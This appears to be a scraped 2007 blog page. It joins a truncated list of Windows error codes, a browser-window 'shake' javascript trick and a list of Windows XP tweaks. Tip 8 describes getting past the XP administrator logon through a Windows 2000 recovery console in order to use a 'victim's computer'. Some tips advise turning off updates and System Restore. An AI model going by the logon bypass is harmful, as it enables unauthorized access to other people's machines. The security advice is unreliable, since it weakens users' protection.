7037 Your interactive logon privilege has been disabled. Please contact your administrator.
7038 The requested operation can be performed only on the system console. This is most often the result of a driver or system DLL requiring direct console access.
7040 The client failed to respond to the server connect message.
7041 Disconnecting the console session is not supported.
7042 Reconnecting a disconnected session to the console is not supported.
7044 The request to control another session remotely was denied.
7045 The requested session access is denied.
7049 The specified terminal connection driver is invalid.
7050 The requested session cannot be controlled remotely. This may be because the session is disconnected or does not currently have a user logged on. Also, you cannot control a session remotely from the system console or control the system console remotely. A
7051 The requested session is not configured to allow remote control.
7052 Your request to connect to this Terminal Server has been rejected. Your Terminal Server client license number is currently being used by another user. Please call your system administrator to obtain a new copy of the Terminal Server client with a valid, u
7053 Your request to connect to this Terminal Server has been rejected. Your Terminal Server client license number has not been entered for this copy of the Terminal Server client. Please call your system administrator for help in entering a valid, unique lice
7054 The system has reached its licensed logon limit. Please try again later.
7055 The client you are using is not licensed to use this system. Your logon request is denied.
7056 The system license has expired. Your logon request is denied.
8001 The file replication service API was called incorrectly.
8002 The file replication service cannot be started.
8003 The file replication service cannot be stopped.
8004 The file replication service API terminated the request. The event log may have more information.
8005 The file replication service terminated the request. The event log may have more information.
8006 The file replication service cannot be contacted. The event log may have more information.
8007 The file replication service cannot satisfy the request because the user has insufficient privileges. The event log may have more information.
8008 The file replication service cannot satisfy the request because authenticated RPC is not available. The event log may have more information.
8009 The file replication service cannot satisfy the request because the user has insufficient privileges on the domain controller. The event log may have more information.
8010 The file replication service cannot satisfy the request because authenticated RPC is not available on the domain controller. The event log may have more information.
8011 The file replication service cannot communicate with the file replication service on the domain controller. The event log may have more information.
8012 The file replication service on the domain controller cannot communicate with the file replication service on this computer. The event log may have more information.
8013 The file replication service cannot populate the system volume because of an internal error. The event log may have more information.
8014 The file replication service cannot populate the system volume because of an internal timeout. The event log may have more information.
8015 The file replication service cannot process the request. The system volume is busy with a previous request.
8016 The file replication service cannot stop replicating the system volume because of an internal error. The event log may have more information.
8017 The file replication service detected an invalid parameter.
8200 An error occurred while installing the directory service. For more information, see the event log.
8201 The directory service evaluated group memberships locally.
8202 The specified directory service attribute or value does not exist.
8203 The attribute syntax specified to the directory service is invalid.
8204 The attribute type specified to the directory service is not defined.
8205 The specified directory service attribute or value already exists.
8206 The directory service is busy.
8207 The directory service is unavailable.
8208 The directory service was unable to allocate a relative identifier.
8209 The directory service has exhausted the pool of relative identifiers.
8210 The requested operation could not be performed because the directory service is not the master for that type of operation.
8211 The directory service was unable to initialize the subsystem that allocates relative identifiers.
8212 The requested operation did not satisfy one or more constraints associated with the class of the object.
8213 The directory service can perform the requested operation only on a leaf object.
8214 The directory service cannot perform the requested operation on the RDN attribute of an object.
8215 The directory service detected an attempt to modify the object class of an object.
8216 The requested cross-domain move operation could not be performed.
8217 Unable to contact the global catalog server.
8218 The policy object is shared and can only be modified at the root.
8219 The policy object does not exist.
8220 The requested policy information is only in the directory service.
8221 A domain controller promotion is currently active.
8222 A domain controller promotion is not currently active
8224 An operations error occurred.
8225 A protocol error occurred.
8226 The time limit for this request was exceeded.
8227 The size limit for this request was exceeded.
8228 The administrative limit for this request was exceeded.
8229 The compare response was false.
8230 The compare response was true.
8231 The requested authentication method is not supported by the server.
8232 A more secure authentication method is required for this server.
8233 Inappropriate authentication.
8234 The authentication mechanism is unknown.
8235 A referral was returned from the server.
8236 The server does not support the requested critical extension.
8237 This request requires a secure connection.
8238 Inappropriate matching.
8239 A constraint violation occurred.
8240 There is no such object on the server.
8241 There is an alias problem.
8242 An invalid dn syntax has been specified.
8243 The object is a leaf object.
8244 There is an alias dereferencing problem.
8245 The server is unwilling to process the request.
8246 A loop has been detected.
8247 There is a naming violation.
8248 The result set is too large.
8249 The operation affects multiple DSAs
8250 The server is not operational.
8251 A local error has occurred.
8252 An encoding error has occurred.
8253 A decoding error has occurred.
8254 The search filter cannot be recognized.
8255 One or more parameters are illegal.
8256 The specified method is not supported.
8257 No results were returned.
8258 The specified control is not supported by the server.
8259 A referral loop was detected by the client.
8260 The preset referral limit was exceeded.
8301 The root object must be the head of a naming context. The root object cannot have an instantiated parent.
8302 The add replica operation cannot be performed. The naming context must be writable in order to create the replica.
8303 A reference to an attribute that is not defined in the schema occurred.
8304 The maximum size of an object has been exceeded.
8305 An attempt was made to add an object to the directory with a name that is already in use.
8306 An attempt was made to add an object of a class that does not have an RDN defined in the schema.
8307 An attempt was made to add an object using an RDN that is not the RDN defined in the schema.
8308 None of the requested attributes were found on the objects.
8309 The user buffer is too small.
8310 The attribute specified in the operation is not present on the object.
8311 Illegal modify operation. Some aspect of the modification is not permitted.
8312 The specified object is too large.
8313 The specified instance type is not valid.
8314 The operation must be performed at a master DSA.
8315 The object class attribute must be specified.
8316 A required attribute is missing.
8317 An attempt was made to modify an object to include an attribute that is not legal for its class.
8318 The specified attribute is already present on the object.
8320 The specified attribute is not present, or has no values.
8321 Mutliple values were specified for an attribute that can have only one value.
8322 A value for the attribute was not in the acceptable range of values.
8323 The specified value already exists.
8324 The attribute cannot be removed because it is not present on the object.
8325 The attribute value cannot be removed because it is not present on the object.
8326 The specified root object cannot be a subref.
8327 Chaining is not permitted.
8328 Chained evaluation is not permitted.
8329 The operation could not be performed because the object's parent is either uninstantiated or deleted.
8330 Having a parent that is an alias is not permitted. Aliases are leaf objects.
8331 The object and parent must be of the same type, either both masters or both replicas.
8332 The operation cannot be performed because child objects exist. This operation can only be performed on a leaf object.
8333 Directory object not found.
8334 The aliased object is missing.
8335 The object name has bad syntax.
8336 It is not permitted for an alias to refer to another alias.
8337 The alias cannot be dereferenced.
8338 The operation is out of scope.
8340 The DSA object cannot be deleted.
8341 A directory service error has occurred.
8342 The operation can only be performed on an internal master DSA object.
8343 The object must be of class DSA.
8344 Insufficient access rights to perform the operation.
8345 The object cannot be added because the parent is not on the list of possible superiors.
8346 Access to the attribute is not permitted because the attribute is owned by the Security Accounts Manager (SAM).
8347 The name has too many parts.
8348 The name is too long.
8349 The name value is too long.
8350 The directory service encountered an error parsing a name.
8351 The directory service cannot get the attribute type for a name.
8352 The name does not identify an object; the name identifies a phantom.
8353 The security descriptor is too short.
8354 The security descriptor is invalid.
8355 Failed to create name for deleted object.
8356 The parent of a new subref must exist.
8357 The object must be a naming context.
8358 It is not permitted to add an attribute which is owned by the system.
8359 The class of the object must be structural; you cannot instantiate an abstract class.
8360 The schema object could not be found.
8361 A local object with this GUID (dead or alive) already exists.
8362 The operation cannot be performed on a back link.
8363 The cross reference for the specified naming context could not be found.
8364 The operation could not be performed because the directory service is shutting down.
8365 The directory service request is invalid.
8366 The role owner attribute could not be read.
8367 The requested FSMO operation failed. The current FSMO holder could not be contacted.
8368 Modification of a DN across a naming context is not permitted.
8369 The attribute cannot be modified because it is owned by the system.
8370 Only the replicator can perform this function.
8371 The specified class is not defined.
8372 The specified class is not a subclass.
8373 The name reference is invalid.
8374 A cross reference already exists.
8375 It is not permitted to delete a master cross reference.
8376 Subtree notifications are only supported on NC heads.
8377 Notification filter is too complex.
8378 Schema update failed: duplicate RDN.
8379 Schema update failed: duplicate OID.
8380 Schema update failed: duplicate MAPI identifier.
8381 Schema update failed: duplicate schema-id GUID.
8382 Schema update failed: duplicate LDAP display name.
8383 Schema update failed: range-lower less than range upper.
8384 Schema update failed: syntax mismatch.
8385 Schema deletion failed: attribute is used in must-contain.
8386 Schema deletion failed: attribute is used in may-contain.
8387 Schema update failed: attribute in may-contain does not exist.
8388 Schema update failed: attribute in must-contain does not exist.
8389 Schema update failed: class in aux-class list does not exist or is not an auxiliary class.
8390 Schema update failed: class in poss-superiors does not exist.
8391 Schema update failed: class in subclassof list does not exist or does not satisfy hierarchy rules.
8392 Schema update failed: Rdn-Att-Id has wrong syntax.
8393 Schema deletion failed: class is used as auxiliary class.
8394 Schema deletion failed: class is used as sub class.
8395 Schema deletion failed: class is used as poss superior.
8396 Schema update failed in recalculating validation cache.
8397 The tree deletion is not finished. The request must be made again to continue deleting the tree.
8398 The requested delete operation could not be performed.
8399 Cannot read the governs class identifier for the schema record.
8400 The attribute schema has bad syntax.
8401 The attribute could not be cached.
8402 The class could not be cached.
8403 The attribute could not be removed from the cache.
8404 The class could not be removed from the cache.
8405 The distinguished name attribute could not be read.
8406 A required subref is missing.
8407 The instance type attribute could not be retrieved.
8408 An internal error has occurred.
8409 A database error has occurred.
8410 The attribute GOVERNSID is missing.
8411 An expected attribute is missing.
8412 The specified naming context is missing a cross reference.
8413 A security checking error has occurred.
8414 The schema is not loaded.
8415 Schema allocation failed. Please check if the machine is running low on memory.
8416 Failed to obtain the required syntax for the attribute schema.
8417 The global catalog verification failed. The global catalog is not available or does not support the operation. Some part of the directory is currently not available.
8418 The replication operation failed because of a schema mismatch between the servers involved.
8419 The DSA object could not be found.
8420 The naming context could not be found.
8421 The naming context could not be found in the cache.
8422 The child object could not be retrieved.
8423 The modification was not permitted for security reasons.
8424 The operation cannot replace the hidden record.
8425 The hierarchy file is invalid.
8426 The attempt to build the hierarchy table failed.
8427 The directory configuration parameter is missing from the registry.
8428 The attempt to count the address book indices failed.
8429 The allocation of the hierarchy table failed.
8430 The directory service encountered an internal failure.
8431 The directory service encountered an unknown failure.
8432 A root object requires a class of 'top'.
8433 This directory server is shutting down, and cannot take ownership of new floating single-master operation roles.
8434 The directory service is missing mandatory configuration information, and is unable to determine the ownership of floating single-master operation roles.
8435 The directory service was unable to transfer ownership of one or more floating single-master operation roles to other servers.
8436 The replication operation failed.
8437 An invalid parameter was specified for this replication operation.
8438 The directory service is too busy to complete the replication operation at this time.
8439 The distinguished name specified for this replication operation is invalid.
8440 The naming context specified for this replication operation is invalid.
8441 The distinguished name specified for this replication operation already exists.
8442 The replication system encountered an internal error.
8443 The replication operation encountered a database inconsistency.
8444 The server specified for this replication operation could not be contacted.
8445 The replication operation encountered an object with an invalid instance type.
8446 The replication operation failed to allocate memory.
8447 The replication operation encountered an error with the mail system.
8448 The replication reference information for the target server already exists.
8449 The replication reference information for the target server does not exist.
8450 The naming context cannot be removed because it is replicated to another server.
8451 The replication operation encountered a database error.
8452 The naming context is in the process of being removed or is not replicated from the specified server.
8453 Replication access was denied.
8454 The requested operation is not supported by this version of the directory service.
8455 The replication remote procedure call was cancelled.
8456 The source server is currently rejecting replication requests.
8457 The destination server is currently rejecting replication requests.
8458 The replication operation failed due to a collision of object names.
8459 The replication source has been reinstalled.
8460 The replication operation failed because a required parent object is missing.
8461 The replication operation was preempted.
8462 The replication synchronization attempt was abandoned because of a lack of updates.
8463 The replication operation was terminated because the system is shutting down.
8464 The replication synchronization attempt failed as the destination partial attribute set is not a subset of source partial attribute set.
8465 The replication synchronization attempt failed because a master replica attempted to sync from a partial replica.
8466 The server specified for this replication operation was contacted, but that server was unable to contact an additional server needed to complete the operation.
8467 A schema mismatch is detected between the source and the build used during a replica install. The replica cannot be installed.
8468 Schema update failed: An attribute with the same link identifier already exists.
8469 Name translation: Generic processing error.
8470 Name translation: Could not find the name or insufficient right to see name.
8471 Name translation: Input name mapped to more than one output name.
8472 Name translation: Input name found, but not the associated output format.
8473 Name translation: Unable to resolve completely, only the domain was found.
8474 Name translation: Unable to perform purely syntactical mapping at the client without going out to the wire.
8475 Modification of a constructed att is not allowed.
8476 The OM-Object-Class specified is incorrect for an attribute with the specified syntax.
8477 The replication request has been posted; waiting for reply.
8478 The requested operation requires a directory service, and none was available.
8479 The LDAP display name of the class or attribute contains non-ASCII characters.
8480 The requested search operation is only supported for base searches.
8481 The search failed to retrieve attributes from the database.
8482 The schema update operation tried to add a backward link attribute that has no corresponding forward link.
8483 Source and destination of a cross-domain move do not agree on the object's epoch number. Either source or destination does not have the latest version of the object.
8484 Source and destination of a cross-domain move do not agree on the object's current name. Either source or destination does not have the latest version of the object.
8485 Source and destination for the cross-domain move operation are identical. Caller should use local move operation instead of cross-domain move operation.
8486 Source and destination for a cross-domain move are not in agreement on the naming contexts in the forest. Either source or destination does not have the latest version of the Partitions container.
8487 Destination of a cross-domain move is not authoritative for the destination naming context.
8488 Source and destination of a cross-domain move do not agree on the identity of the source object. Either source or destination does not have the latest version of the source object.
8489 Object being moved across-domains is already known to be deleted by the destination server. The source server does not have the latest version of the source object.
8490 Another operation which requires exclusive access to the PDC FSMO is already in progress.
8491 A cross-domain move operation failed such that two versions of the moved object exist - one each in the source and destination domains. The destination object needs to be removed to restore the system to a consistent state.
8492 This object may not be moved across domain boundaries either because cross-domain moves for this class are disallowed, or the object has some special characteristics, eg: trust account or restricted RID, which prevent its move.
8493 Can't move objects with memberships across domain boundaries as once moved, this would violate the membership conditions of the account group. Remove the object from any account group memberships and retry.
8494 A naming context head must be the immediate child of another naming context head, not of an interior node.
8495 The directory cannot validate the proposed naming context name because it does not hold a replica of the naming context above the proposed naming context. Please ensure that the domain naming master role is held by a server that is configured as a global
8496 Destination domain must be in native mode.
8497 The operation can not be performed because the server does not have an infrastructure container in the domain of interest.
8498 Cross-domain move of account groups is not allowed.
8499 Cross-domain move of resource groups is not allowed.
8500 The search flags for the attribute are invalid. The ANR bit is valid only on attributes of Unicode or Teletex strings.
8501 Tree deletions starting at an object which has an NC head as a descendant are not allowed.
8502 The directory service failed to lock a tree in preparation for a tree deletion because the tree was in use.
8503 The directory service failed to identify the list of objects to delete while attempting a tree deletion.
8505 Only an administrator can modify the membership list of an administrative group.
8506 Cannot change the primary group ID of a domain controller account.
8507 An attempt is made to modify the base schema.
8508 Adding a new mandatory attribute to an existing class, deleting a mandatory attribute from an existing class, or adding an optional attribute to the special class Top that is not a backlink attribute (directly or through inheritance, for example, by addin
8509 Schema update is not allowed on this DC. Either the registry key is not set or the DC is not the schema FSMO Role Owner.
8510 An object of this class cannot be created under the schema container. You can only create attribute-schema and class-schema objects under the schema container.
8511 The replica/child install failed to get the objectVersion attribute on the schema container on the source DC. Either the attribute is missing on the schema container or the credentials supplied do not have permission to read it.
8512 The replica/child install failed to read the objectVersion attribute in the SCHEMA section of the file schema.ini in the system32 directory.
8513 The specified group type is invalid.
8514 You cannot nest global groups in a mixed domain if the group is security-enabled.
8515 You cannot nest local groups in a mixed domain if the group is security-enabled.
8516 A global group cannot have a local group as a member.
8517 A global group cannot have a universal group as a member.
8518 A universal group cannot have a local group as a member.
8519 A global group cannot have a cross-domain member.
8520 A local group cannot have another cross domain local group as a member.
8521 A group with primary members cannot change to a security-disabled group.
8522 The schema cache load failed to convert the string default SD on a class-schema object.
8523 Only DSAs configured to be Global Catalog servers should be allowed to hold the Domain Naming Master FSMO role.
8524 The DSA operation is unable to proceed because of a DNS lookup failure.
8525 While processing a change to the DNS Host Name for an object, the Service Principal Name values could not be kept in sync.
8526 The Security Descriptor attribute could not be read.
8527 The object requested was not found, but an object with that key was found.
8528 The syntax of the linked attribute being added is incorrect. Forward links can only have syntax 2.5.5.1, 2.5.5.7, and 2.5.5.14, and backlinks can only have syntax 2.5.5.1
8529 Security Account Manager needs to get the boot password.
8530 Security Account Manager needs to get the boot key from floppy disk.
8531 Directory Service cannot start.
8532 Directory Services could not start.
8533 The connection between client and server requires packet privacy or better.
8534 The source domain may not be in the same forest as destination.
8535 The destination domain must be in the forest.
8536 The operation requires that destination domain auditing be enabled.
8537 The operation couldn't locate a DC for the source domain.
8538 The source object must be a group or user.
8539 The source object's SID already exists in destination forest.
8540 The source and destination object must be of the same type.
8542 Schema information could not be included in the replication request.
8543 The replication operation could not be completed due to a schema incompatibility.
8544 The replication operation could not be completed due to a previous schema incompatibility.
8545 The replication update could not be applied because either the source or the destination has not yet received information regarding a recent cross-domain move operation.
8546 The requested domain could not be deleted because there exist domain controllers that still host this domain.
8547 The requested operation can be performed only on a global catalog server.
8548 A local group can only be a member of other local groups in the same domain.
8549 Foreign security principals cannot be members of universal groups.
8550 The attribute is not allowed to be replicated to the GC because of security reasons.
8551 The checkpoint with the PDC could not be taken because there too many modifications being processed currently.
8552 The operation requires that source domain auditing be enabled.
8553 Security principal objects can only be created inside domain naming contexts.
8554 A Service Principal Name (SPN) could not be constructed because the provided hostname is not in the necessary format.
8555 A Filter was passed that uses constructed attributes.
8556 The unicodePwd attribute value must be enclosed in double quotes.
8557 Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased.
8558 For security reasons, the operation must be run on the destination DC.
8559 For security reasons, the source DC must be Service Pack 4 or greater.
8560 Critical Directory Service System objects cannot be deleted during tree delete operations. The tree delete may have been partially performed.
9001 DNS server unable to interpret format.
9002 DNS server failure.
9003 DNS name does not exist.
9004 DNS request not supported by name server.
9005 DNS operation refused.
9006 DNS name that ought not exist, does exist.
9007 DNS RR set that ought not exist, does exist.
9008 DNS RR set that ought to exist, does not exist.
9009 DNS server not authoritative for zone.
9010 DNS name in update or prereq is not in zone.
9016 DNS signature failed to verify.
9017 DNS bad key.
9018 DNS signature validity expired.
9501 No records found for given DNS query.
9502 Bad DNS packet.
9503 No DNS packet.
9504 DNS error, check rcode.
9505 Unsecured DNS packet.
9551 Invalid DNS type.
9552 Invalid IP address.
9553 Invalid property.
9554 Try DNS operation again later.
9555 Record for given name and type is not unique.
9556 DNS name does not comply with RFC specifications.
9557 DNS name is a fully-qualified DNS name.
9558 DNS name is dotted (multi-label).
9559 DNS name is a single-part name.
9560 DNS name contains an invalid character.
9561 DNS name is entirely numeric.
9601 DNS zone does not exist.
9602 DNS zone information not available.
9603 Invalid operation for DNS zone.
9604 Invalid DNS zone configuration.
9605 DNS zone has no start of authority (SOA) record.
9606 DNS zone has no Name Server (NS) record.
9607 DNS zone is locked.
9608 DNS zone creation failed.
9609 DNS zone already exists.
9610 DNS automatic zone already exists.
9611 Invalid DNS zone type.
9612 Secondary DNS zone requires master IP address.
9613 DNS zone not secondary.
9614 Need secondary IP address.
9615 WINS initialization failed.
9616 Need WINS servers.
9617 NBTSTAT initialization call failed.
9618 Invalid delete of start of authority (SOA)
9651 Primary DNS zone requires datafile.
9652 Invalid datafile name for DNS zone.
9653 Failed to open datafile for DNS zone.
9654 Failed to write datafile for DNS zone.
9655 Failure while reading datafile for DNS zone.
9701 DNS record does not exist.
9702 DNS record format error.
9703 Node creation failure in DNS.
9704 Unknown DNS record type.
9705 DNS record timed out.
9706 Name not in DNS zone.
9707 CNAME loop detected.
9708 Node is a CNAME DNS record.
9709 A CNAME record already exists for given name.
9710 Record only at DNS zone root.
9711 DNS record already exists.
9712 Secondary DNS zone data error.
9713 Could not create DNS cache data.
9714 DNS name does not exist.
9715 Could not create pointer (PTR) record.
9716 DNS domain was undeleted.
9717 The directory service is unavailable.
9718 DNS zone already exists in the directory service.
9719 DNS server not creating or reading the boot file for the directory service integrated DNS zone.
9751 DNS AXFR (zone transfer) complete.
9752 DNS zone transfer failed.
9753 Added local WINS server.
9801 Secure update call needs to continue update request.
9851 TCP/IP network protocol not installed.
9852 No DNS servers configured for local system.
10004 A blocking operation was interrupted by a call to WSACancelBlockingCall.
10009 The file handle supplied is not valid.
10013 An attempt was made to access a socket in a way forbidden by its access permissions.
10014 The system detected an invalid pointer address in attempting to use a pointer argument in a call.
10022 An invalid argument was supplied.
10024 Too many open sockets.
10035 A non-blocking socket operation could not be completed immediately.
10036 A blocking operation is currently executing.
10037 An operation was attempted on a non-blocking socket that already had an operation in progress.
10038 An operation was attempted on something that is not a socket.
10039 A required address was omitted from an operation on a socket.
10040 A message sent on a datagram socket was larger than the internal message buffer or some other network limit, or the buffer used to receive a datagram into was smaller than the datagram itself.
10041 A protocol was specified in the socket function call that does not support the semantics of the socket type requested.
10042 An unknown, invalid, or unsupported option or level was specified in a getsockopt or setsockopt call.
10043 The requested protocol has not been configured into the system, or no implementation for it exists.
10044 The support for the specified socket type does not exist in this address family.
10045 The attempted operation is not supported for the type of object referenced.
10046 The protocol family has not been configured into the system or no implementation for it exists.
10047 An address incompatible with the requested protocol was used.
10048 Only one usage of each socket address (protocol/network address/port) is normally permitted.
10049 The requested address is not valid in its context.
10050 A socket operation encountered a dead network.
10051 A socket operation was attempted to an unreachable network.
10052 The connection has been broken due to keep-alive activity detecting a failure while the operation was in progress.
10053 An established connection was aborted by the software in your host machine.
10054 An existing connection was forcibly closed by the remote host.
10055 An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full.
10056 A connect request was made on an already connected socket.
10057 A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied.
10058 A request to send or receive data was disallowed because the socket had already been shut down in that direction with a previous shutdown call.
10059 Too many references to some kernel object.
10060 A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
10061 No connection could be made because the target machine actively refused it.
10062 Cannot translate name.
10063 Name component or name was too long.
10064 A socket operation failed because the destination host was down.
10065 A socket operation was attempted to an unreachable host.
10066 Cannot remove a directory that is not empty.
10067 A Windows Sockets implementation may have a limit on the number of applications that may use it simultaneously.
10068 Ran out of quota.
10069 Ran out of disk quota.
10070 File handle reference is no longer available.
10071 Item is not available locally.
10091 WSAStartup cannot function at this time because the underlying system it uses to provide network services is currently unavailable.
10092 The Windows Sockets version requested is not supported.
10093 Either the application has not called WSAStartup, or WSAStartup failed.
10101 Returned by WSARecv or WSARecvFrom to indicate the remote party has initiated a graceful shutdown sequence.
10102 No more results can be returned by WSALookupServiceNext.
10103 A call to WSALookupServiceEnd was made while this call was still processing. The call has been canceled.
10104 The procedure call table is invalid.
10105 The requested service provider is invalid.
10106 The requested service provider could not be loaded or initialized.
10107 A system call that should never fail has failed.
10108 No such service is known. The service cannot be found in the specified name space.
10109 The specified class was not found.
10110 No more results can be returned by WSALookupServiceNext.
10111 A call to WSALookupServiceEnd was made while this call was still processing. The call has been canceled.
10112 A database query failed because it was actively refused

Shake Explorer Window javascript

2007-11-20T23:15:00.000-08:00

Copy and paste following to the address bar of Ur browser and remove the space between java script : javascript

java script:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

Tips, Tricks, Tweaks and Registry Hacks for Windows XP

2007-11-20T23:10:00.000-08:00

How to edit the windows registry

Editing the Windows registry can most easily be accomplished through the REGEDIT program built into Windows. This can be accessed by going to start\run\ and typing 'regedit.'

Due to the nature of the registry, any changes you make here do not have to be saved. All changes are applied upon restarting the system. This also means that there is no 'cancel' button for undoing accidental changes, so make sure you keep careful note of the values you intend to edit.

Registry values are stored in keys which appear as folders in the REGEDIT window. Most of the following instructions will have you add or edit values inside these keys.

When you highlight a key in the left pane, the values stored in it appear in the right pane. To edit a value, right click it and select 'modify.'

To add a new value, navigate to the key in which you wish to add the value, right clock it and select 'new' then the type of value you wish to create. Generally this will be either a string or DWORD value. Once you have created the value, name it, then right click on it to 'modify' its properties.

Backing up and restoring the windows registry

This is an important tip for preserving your system, and an essential introduction to this section of tips. The Windows registry is the central data store for the Windows operating system. It contains all the information and variables that Windows uses to run itself and the programs you install. Editing the registry gives access to a wealth of options that may not be offered to you through the user interface. It also gives you the means to completely mess up your system in the time it takes to reboot.

While restoring a computer with registry problems is now a fair bit more possible thanks to the system restore features built into Windows XP, it's still a good idea to make a backup of your registry before making any changes to it.

To back up the registry, open REGEDIT and ensure that 'my computer' is highlighted, then go to file\export.

In this window, you need to enter a location to save the exported registry (as a single file) and choose the type of file to create. Also, check the 'all' button at the bottom of the screen to backup the entire registry.

There are several possible file types, but we will focus on one only, as the .reg file type is the easiest to use. A .reg backup will copy over all changes made to existing portions of the registry when it is restored, while leaving additions to the registry made since the backup untouched.

Select the .reg file type and click 'save.'

Restoring the registry from this .reg file is a simple matter of locating the file you created, right clicking it and selecting 'merge.'

<><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

1) Hibernating Windows
There are two ways to hibernate windows. One-->Open Task Manager and then click shutdown tab and click hibernate. Second Hidden Method id to Simply click Turn Off From Start Menu and Press Shift when the small box appears. Notice Standby changes to HIBERNATE.

2)Speed Up your performance in Windows XP
Some people find Windows XP slow and some find it good. But the simple way to boost up your XP is simply right click»»my computer »» click properties »» Advanced »» settings in perfomance »» Adjust for best performance.
Wait and watch. If you common tasks have gone (the boxes in each folder then go again there and check »» USE COMMON TASKS IN FOLDER.

3) Speed up your Booting
Just edit boot.ini and remove the /fastdetect word. Another way id press win+R. Type msconfig click startup tab. End the processes you do not want. Also do the same with services tab. If BITS is started please turn it off.

4) No Messenger
Tired of MSN messenger, even after disabling it, but do not want to remove it. Simply go to C:Program Files and Rename Messenger folder to Died Messenger. And if you use outlook express, It(messenger) will not start untill yo invoke it to stat.

5) Do Not Highlight Newly Installed Programs
Tired of that annoying little window that pops up to tell you that new software is installed? If it gets in the way when you’re logging off, turn it off completely. To do this:

Click Start, right-click at the top of the Start menu where your name is displayed, and then click Properties.

In the Taskbar and Start Menu Properties dialog box, on the Start Menu tab, click Customize.

Click the Advanced tab, and then clear the Highlight newly installed programs check box. Click OK, and then click OK again.

6) Turn Off Automatic Updating.
Some people might have thought that after using pirated XP copy and Connecting to the INTERNET their copy becomes some slower. So just turn off Live Update.

How to Turn Off Automatic Updates?
Click Start , click Control Panel , and then double-click System.
Click the Automatic Updates tab, and then click Turn off automatic updating. I want to update my computer manually.

7) Using the Ultimate Configuration Tool (Professional Edition Only)
One of the most full featured Windows XP configuration tools available is hidden right there in your system, but most people don't even know it exists. It's called the Local Group Policy Editor, or gpedit for short. It just like old Poledit.exe.

To start this editor:
Select Start and then Run, then type the following: gpedit.msc

After you hit Enter, you'll be greeted by gpedit, which lets you modify almost every feature in Windows XP without having to go to regedit.

8) Login in Administrator
Its very easy to bypass the windows XP Admin logon window. When u started yr computer , u got a message something like this:

Admin or (whatever u make a account!!!)
Password: ..... XXX XXXX.........
some people think that its impossible to break through this, but through this article u can make it easy to break this cripy.

In order to break the Windows XP admin logon , you simply boot yr computer through Windows 2000 CD and boot up a windows XP box and start windows 2000 recivery Console, its a troubleshooting program.

Windows XP then allows us to operate victim's computer as an Administrator without a admin password, even if the Administrator account has a strong password. You can also operate other user accounts that may be present on, even if those accounts have passwords. Finally u can do anything u want on the victim's computer, copy/delete the files whatever u want .

9) Remove program from your desktop
Whenever you have to remove any software/package/program you have to go to control panel then add/remove programe and for that either go to my computer or start menu. My way is the sleekest one.

All you have to do is make a new shortcut on ur desktop and set its target to "control.exe appwiz.cpl" there id space between control.exe and appwiz.cpl and write without quotes. this simply would launch Addremove programs wizard.

10) Shutdown Button on Desktop
Right click on ur Desktop and create new Shortcut and type “C:WINDOWSSYSTEM32Shutdown.exe –s” without quotes in the popup box which will appear asking for a path of shortcut . Now when u will double click this shortcut it will give u shutdown message and ur computer will shutdown after some seconds. U can customize ur shutdown button with same icon which original shutdown have Just go to the properties of ur shortcut and click change icon tab select any icon u like and click apply.

Similarly u can also put restart button on ur desktop just replace –s in above line by –r
If u don’t want shutdown button on ur desktop u can the go to start > run and type Shutdown –s or –r they will do the same job. If someone tries to shutdown u remotely on the net then u can stop shutdown process but typing shutdown –a in Run.

Shutdown –s = Shutdown & restart
Shutdown –r = Restart
Shutdown –a = To abort shutdown

11) Remove Hibernation File
If you do not use hibernation, make sure you do not have it enabled, which reserves disk space equal to your RAM. If you have a hidden file on the root directory of your C-drive called hiberfil.sys, hibernation is enabled. To remove that file:

Go to Control Panel, select Performance and Maintenance, Power Options, Hibernate tab, and uncheck the Enable hibernation box.

12) Free some disk space with XP and some fast.
If you have NTFS partistions then you should stop the indexing service. This service slows your navigation of files. Whenever you click the file the XP adds that to its database for quick search. To turn it off select your all hard disks. Then right click and go to properties. And uncheck "Allow indexing service check Box".

13) Turn Off AND On System Restore.
The system Restore option is useful for some people but for most people its a sheer wastage of RAM and HDD. So according to me it should be turned off. To Change system restore settings Press Win Key + Pause/Break Key (near num lock). Go to System Restore. and change your settings.

14) Prevent XP from Unauthorised Access
This is the best way to prevent un authorised access while connected to the internet. Go to my computer properties, and select Remote tab. Uncheck Both the Check Boxes. This help you to prevent your computer from unauthorized access, while connected to the net.

15) Change Drive Letters in Windows XP
When you add drives to your computer, such as an extra hard drive, a CD drive, or a storage device that corresponds to a drive, Windows automatically assigns letters to the drives. However, this assignment might not suit your system; for example, you might have mapped a network drive to the same letter that Windows assigns to a new drive. When you want to change drive letters, follow these steps:

Right-click My Computer, and then click Manage.
Under Computer Management, click Disk Management. In the right pane, you’ll see your drives listed.

CD-ROM drives are listed at the bottom of the pane.
Right-click the drive or device you want to change, and then click Change Drive Letter and Paths.
Click Change, click Assign the following drive letter, click the drive letter you want to assign, and then click OK.

16) Run safely any of downloaded EXE's.
When ever you download or copy any EXE, do not execute it straight first scan it, and then right click that exe and select Run as and then Select the current user option alongwith, protection option. This is usefull in some cases.

17) Change the Default Opening Folder in Windows Explorer
By default, Windows Explorer opens showing the My Documents folder. To change the default setting so that all top–level drives and folders are shown, follow these steps:

Click Start > Programs > Accessories, then right–click Windows Explorer, and click Properties.
Under Target field, which reads %SystemRoot%explorer.exe, add to make the line read:
%SystemRoot%explorer.exe /n, /e, /select, C:
Click OK.

18) Identify a 16-bit Program
Use Windows Explorer to open the folder that contains the program's executable (.exe) file. Right-click the .exe file, and then click Properties. A 16-bit program does not have a Version tab in this dialog box.

19) Use the Desktop Cleanup Wizard in Windows XP
To start the Desktop Cleanup Wizard:
Click Start , and then click Control Panel.
In Control Panel, click Appearance and Themes under Pick a category.
Under or pick a Control Panel icon , click Display. The Display Properties dialog box is displayed.

In the Display Properties dialog box, click the Desktop tab, and then click Customize Desktop. The Desktop Items dialog box is displayed.
Under Desktop cleanup , click to clear the Run Desktop Cleanup Wizard every 60 days check box if you do not want the Desktop Cleanup Wizard to automatically start every 60 days.
Click Clean Desktop Now. The Desktop Cleanup Wizard starts.

20) Remove Unwanted Shortcuts
